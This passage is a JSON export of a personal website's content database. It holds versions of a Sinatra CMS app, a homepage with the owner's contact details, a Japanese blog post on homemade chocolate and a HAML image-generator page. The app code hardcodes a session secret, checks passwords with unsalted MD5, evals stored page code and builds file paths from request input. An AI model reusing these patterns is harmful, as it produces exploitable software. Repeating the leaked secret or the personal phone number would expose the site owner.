/^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 86400\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2017-02-07T15:45:27.000Z","updated_at":"2017-02-07T15:45:27.000Z"},{"id":3014,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 86400\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/favicon.ico' do\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 86400)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n require(\"open-uri\")\r\n open(\"http://filecachesweeper.app.ssig33.com/kogaidan/ssig33cache\").read\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2017-02-07T15:46:47.000Z","updated_at":"2017-02-07T15:46:47.000Z"},{"id":3015,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Diary](http://diary.app.ssig33.com)\r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Job :** Software Engineer \r\n**Face :** \r\n![img](http://s.ssig33.com/files/1204386d77054ac48fd692326ce0b0ee)","created_at":"2017-02-07T15:48:39.000Z","updated_at":"2017-02-07T15:48:39.000Z"},{"id":3016,"name":"text/cho","body":"%blog% チョコレート自作\r\n\r\nそういうわけなので自作していきます。\r\n\r\n豆は(とくにこの時期)買いづらいので頑張って探してください。豆には以下のような品種があります\r\n\r\n- フォラステロ\r\n- クリオロ\r\n- トリニタリオ\r\n\r\n覚えておくこととしては、だいたい普通の人が簡単に買える豆はフォラステロ種のみで、これは下ふたつの豆と比較するとだいぶ品質が劣るということです。なので牛乳や生クリームなどでやっていく必要があります。カカオと甘味料だけのまじでうまいチョコレートみたいのを作りたい人は気合を入れて貿易業者などに自力で問合せてトリニタリオ種の豆を手に入れましょう。俺はやったことない。\r\n\r\nそのような事情なので豆以外に以下のものを用意する必要があります\r\n\r\n- ココアバター\r\n- 砂糖\r\n- 生クリーム\r\n- 筋力\r\n\r\n筋力は最も重要です。\r\n\r\n写真で制作過程を追っていきます。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eチョコレート作ってます \u003ca href=\"https://t.co/zNate2OeXR\"\u003epic.twitter.com/zNate2OeXR\u003c/a\u003e\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830272574722433024\"\u003eFebruary 11, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nまず豆をローストしてます。次に豆から殻を外します。この殻を外すという行程は工場においては高度に機械化されていますが、自分でやると恐しく大変です。指先の力が猛烈に使われ、慣れていないうちは爪が崩壊していきます。\r\n\r\nその次に中身の肉の部分をすり潰していきます。工場においてはローラーに何度も通すことでこの部分を機械化しています。家庭で行なう場合は筋力でこれを行ないます。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eチョコレートになってきた \u003ca href=\"https://t.co/wMsGS0lUMJ\"\u003epic.twitter.com/wMsGS0lUMJ\u003c/a\u003e\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830283513203040256\"\u003eFebruary 11, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nそのようにすり潰した豆を湯煎しながらひたすらかきまぜていきます。あまり温度を上げすぎると分離するなどといって脅してある Web サイトが沢山ありますが、分離したあと温度をゆっくり下げながら気合を入れて混ぜまくると戻るのであんまり気にしなくていいです。\r\n\r\n分離気味になったなと思ったら湯から上げて、固くて混ぜづらいなと思ったら湯に戻すみたいなのでいいと思う。これも非常に厳しい重労働です。工場においてはもちろん機械化され、一晩や二晩混ぜ続けられます。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eチョコレート作り、恐るべき重労働であり、産業革命以前の過酷な労働を体験できる\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830273003787218948\"\u003eFebruary 11, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n混ぜながらその他の材料を加えていきます。すなわち、ココアバター、生クリーム、砂糖など。これらは入れすぎたと思うくらい入れていいです。そうでもしないと味が強烈すぎて食えたもんではない。苦いとかじゃなくて、とにかくなにか暴力があるみたいな世界になる。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eチョコレート自作、本当に重労働すぎて厳しいので、以下の三点を守るとよいです。 1: 豆を砕くのは適当なところで諦める、なめらかなチョコがほしければ買え 2: 混ぜるのは 1 時間ぐらいでいい、なめらかなチョコがほしければ買え 3: 生クリームと砂糖は引くぐらい入れる\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830287254861910022\"\u003eFebruary 11, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eチョコレートになってきた \u003ca href=\"https://t.co/dKkUVPm70l\"\u003epic.twitter.com/dKkUVPm70l\u003c/a\u003e\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830289498403516416\"\u003eFebruary 11, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこれを型をつかって固めます。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e自作チョコレートについて \u003ca href=\"https://t.co/BtfKJKHBpc\"\u003epic.twitter.com/BtfKJKHBpc\u003c/a\u003e\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/831035309429125120\"\u003eFebruary 13, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nしかし今回生クリームを入れすぎて固まらなかったので、丸めてからココアをふりかけてごまかすことにしました。よかったと思います。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e自作チョコ猛烈に味が濃く終わる\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830786313548869632\"\u003eFebruary 12, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e30 歳のおっさんがだな、カカオを炒めて、殻をハンマーで割って、手作業で殻と身をわけて、すり鉢で身を 1 時間かけてすり潰して、できたものがこれなんだよ\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830786491978752001\"\u003eFebruary 12, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eカカオを適当にすり潰してまだまだ全然カカオ残ってるチョコレートを人に食わせると、なんかナッツ入ってておいしー!!みたいな反応になるので世の中そんなもんですよ\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830786804802527234\"\u003eFebruary 12, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nちなみに、きちんとした教育を受けている人がやると以下のようになるそうです。教育はすごいですね。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e\u003ca href=\"https://twitter.com/ssig33\"\u003e@ssig33\u003c/a\u003e 突然失礼します!私も普段学校でチョコレートを豆の選別から作っているので分かるのですが本当に重労働ですよね(T_T)ものすごく共感してしまったので思わずリプしてしまいました。不愉快にさせてしまいましたら申し訳ありません!ちなみに私はこんな感じになりました(^-^) \u003ca href=\"https://t.co/85yYQ09NOq\"\u003epic.twitter.com/85yYQ09NOq\u003c/a\u003e\u003c/p\u003e\u0026mdash; ゆずぽん (@aoringo_aka) \u003ca href=\"https://twitter.com/aoringo_aka/status/830358170274926592\"\u003eFebruary 11, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n### まとめ\r\nとにかく筋力と持久力と痛みに耐える力が必要。それさえあればチョコレートは自作できます。味としては猛烈に濃くなり、うまいはうまいです。やってみるといいかと思います。\r\n\r\n以下はそれとは全く関係ない地獄の様子です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"en\" dir=\"ltr\"\u003eThis is hell... \u003ca href=\"https://t.co/bwcZwcUYoM\"\u003epic.twitter.com/bwcZwcUYoM\u003c/a\u003e\u003c/p\u003e\u0026mdash; 竹達彩奈と回転する炎の剣 (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/830410515092377601\"\u003eFebruary 11, 2017\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2017-02-13T07:19:59.000Z","updated_at":"2017-02-13T07:19:59.000Z"},{"id":3017,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'https://web.archive.org/web/20121029072533im_/http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute', alt: \"\"} \r\n %img#target{style: 'z-index:1;position:absolute', alt: \"\", src: \"initial\"} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://ssig33.com/gyazo/c9f0984a04256fc7d6479cafc9565ec2.png', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 600, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '-20', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: -200, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2017-02-14T11:27:31.000Z","updated_at":"2017-02-14T11:27:31.000Z"},{"id":3018,"name":"car","body":"haml kim jong il car\r\n\u003c!DOCTYPE html\u003e\r\n\u003cmeta charset=\"utf-8\"\u003e\r\n%title Kim Jong Il Car Generator \r\n%script{src: 'jquery.js'} \r\n%script{src: 'jongilcar.coffee'} \r\n%div{style: 'width:713px; height:640px; overflow:hidden; position:absolute; top 0px; left 0px;'} \r\n %img{src: 'https://web.archive.org/web/20121029072533im_/http://ssig33.com/gyazo/791e768aaa0c28026342e21a205c4c47.png', style: 'height:640px;z-index:2;position:absolute', alt: \"\"} \r\n %img#target{style: 'z-index:1;position:absolute', alt: \"\", src: \"initial\"} \r\n%div{style: 'position:absolute; top:650px;'} \r\n %h2 Kim Jong Il Car Generator \r\n %p \r\n Image: \r\n %input#url{value: 'http://images.uncyc.org/ja/0/0a/%E9%87%91%E6%AD%A3%E7%94%B7%E5%8F%B3%E8%A6%8B.PNG', size: 80} \r\n %p \r\n Size: \r\n %input#width{value: 352, type: 'range', min: 100, max:1400} \r\n X: \r\n %input#left{value: '92', type: 'range', min: -200, max:300}\r\n Y: \r\n %input#top{value: 100, type: 'range', min: -200, max:500}\r\n %p\r\n Permalink:\r\n %input#link","created_at":"2017-02-14T11:34:17.000Z","updated_at":"2017-02-14T11:34:17.000Z"},{"id":3019,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## 